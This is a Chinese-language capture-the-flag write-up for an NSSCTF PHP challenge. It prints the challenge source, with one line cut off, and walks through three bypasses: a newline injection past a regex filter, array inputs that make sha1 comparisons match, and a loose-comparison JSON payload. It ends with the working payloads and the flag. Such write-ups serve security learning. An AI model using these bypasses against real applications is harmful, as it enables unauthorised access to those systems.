

```

include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

$aaa = preg_replace('/^(.*)level(.*)$/ ', '${1}<!-- filtered -->${2}', $_GET['aa

if(preg_match('/pass_the_level_1#/ ', $aaa)){
    echo "here is level 2";

    if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
        if ($_POST['admin'] == $_POST['root_pwd'])
            echo '<p>The level 2 can not pass!</p>';
        // START FORM PROCESSING
        else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
            echo "here is level 3, do you kown how to overcome it?";
            if (isset($_POST['level_3'])) {
                $level_3 = json_decode($_POST['level_3']);

                if ($level_3->result == $result) {

                    echo "success:".$flag;
                }
                else {
                    echo "you never beat me!";
                }
            }
        }
    }
}

```

1.第一关要求aaa值为"pass\_the\_level\_1#"，但是如果中间有**level**，会直接被替换

注意看题替换的正则表达式为/^(.\*)level(.\*)\$/  
这只能匹配一行，我们可以用换行符进行绕过

payload : ?aaa=%0apass\_the\_level\_1%23

浏览器默认不会把#"提交给服务器，进行url编码

?> here is level 2

out!



2.第二关要求admin和root\_pwd的值不能相等，但是sha1加密后要相等

sha1和md5的特性一样的，直接采用数组绕过

payload : admin[]=1&root\_pwd[]=2

```
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
    if ($_POST['admin'] == $_POST['root_pwd'])
        echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
    echo "here is level 3,do you kown how to overcome it?";
    if (isset($_POST['level_3'])) {
        $level_3 = json_decode($_POST['level_3']);
```

3.第三关要求传入的数据json解码后的对象的result成员的值和\$result的值一样，采用弱比较，如果\$result和0比较会被转数字，当\$result的字符串开头是字母是，被解析成0

```
payload : level_3={"result":0}
```

最终payload :

```
GET : ?aaa=%0apass_the_level_1%23
POST:admin[]=1&root_pwd[]=2&level_3={"result":0}
```

?> here is level 2here is level 3,do you kown how to overcome it?success:NSSCTF{961aeb9f-ac06-4cf7-9b0e-723b10a8075e}

The screenshot shows the HackBar interface with the following details:

- Header: 查看器, 控制台, 调试器, 网络, 样式编辑器, 性能, 内存, 存储, 无障碍环境, 应用程序, HackBar, HackBar
- Menu: LOAD, SPLIT, EXECUTE, TEST, SQLI, XSS, LFI, SSRF, SSTI, SHELL, ENCODING, HASHING, CUSTOM, MO
- Body: admin[]=1&root\_pwd[]=2&level\_3={"result":0}
- Table: Name (Host), Value (node4.anna.nssctf.cn:2)

The interface displays the exploit payload and the resulting success message: "here is level 2here is level 3,do you kown how to overcome it?success:NSSCTF{961aeb9f-ac06-4cf7-9b0e-723b10a8075e}".